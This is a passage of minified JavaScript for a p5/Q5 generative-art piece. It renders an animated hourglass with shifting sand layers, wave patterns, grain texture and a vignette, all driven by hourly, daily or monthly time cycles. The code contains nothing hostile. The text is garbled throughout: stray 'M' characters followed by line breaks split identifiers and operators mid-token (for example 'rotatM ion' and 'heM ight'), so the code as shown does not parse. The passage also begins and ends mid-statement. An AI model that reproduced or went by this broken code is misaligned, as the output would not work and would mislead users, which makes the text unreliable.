60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
